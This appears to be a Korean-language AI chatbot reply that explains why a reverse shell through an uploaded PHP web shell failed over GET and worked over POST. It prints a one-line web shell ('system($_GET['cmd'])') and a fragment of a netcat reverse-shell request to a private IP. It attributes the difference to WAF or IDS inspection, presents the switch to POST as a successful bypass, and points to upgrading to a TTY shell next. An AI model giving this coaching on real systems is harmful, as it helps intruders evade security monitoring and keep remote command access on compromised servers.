🔍 리버스 쉘 성공/실패의 원인 분석
원인은 **방화벽(Firewall)**이나 **Intrusion Detection System (IDS)**이 HTTP GET 요청과 HTTP POST 요청을 다르게 처리하기 때문일 가능성이 가장 높습니다.
1. GET 방식 실패의 의심 원인: IDS 또는 웹 서버 설정
원래 파일: <?php system($_GET['cmd']); ?>
- 웹 애플리케이션 방화벽 (WAF) 또는 IDS 차단: 보안 솔루션은 URL(GET 요청)을 통해 들어오는 데이터(
query parameter)를 가장 먼저, 그리고 가장 철저하게 검사합니다.
?cmd=...nc 192.168.130.36...와 같이 URL에 **nc**나 IP 주소가 포함된 문자열이 탐지되면, 이를 Reverse Shell 시도로 판단하고 HTTP 요청 자체를 차단하거나 서버의 명령 실행을 막았을 수 있습니다.
- URL 길이 제한: Reverse Shell 페이로드는 길기 때문에, GET 요청의 URL 문자열 길이 제한에 걸려 명령어가 잘렸을 가능성도 있습니다.
2. POST 방식 성공의 원인: 검사 우회
새로 업로드한 파일: HTML Form을 이용한 POST 방식 + shell_exec 사용
- IDS/WAF 검사 우회: POST 요청의 **본문 (Body)**에 담긴 데이터는 URL에 노출되지 않기 때문에, 많은 IDS/WAF가 GET 요청만큼 철저하게 검사하지 않는 경향이 있습니다.
- 즉,
cmd 필드에 리버스 쉘 페이로드가 들어있지만, 보안 솔루션이 POST 본문 깊숙이 있는 데이터를 분석하지 못하고 통과시켰을 가능성이 높습니다.
- HTTP 프로토콜 차이: 보안 장비가 GET 요청을 처리하는 방식과 POST 요청을 처리하는 방식에 근본적인 차이가 있었을 수 있습니다.
3. shell_exec vs system의 차이는 아님
shell_exec와 system은 PHP에서 외부 명령을 실행하는 함수이지만, 리버스 쉘이 연결되느냐 마느냐를 결정하는 네트워크 통신 문제와는 직접적인 관련이 없습니다. 두 함수 모두 쉘 명령을 실행하는 역할을 수행합니다.
🎯 결론: WAF 우회 성공
Reverse Shell 연결이 실패했던 진짜 원인은 TCP 포트 차단이 아니라 (물론 그것도 있을 수 있지만), URL에 위험한 명령어 문자열이 노출되는 것을 감지하는 보안 시스템 때문이었을 가능성이 큽니다.
POST 요청으로 전환하여 해당 보안 검사를 성공적으로 우회한 것입니다. 이제 TTY 쉘 업그레이드를 통해 안정적인 세션을 확보하고 다음 단계를 진행할 수 있습니다.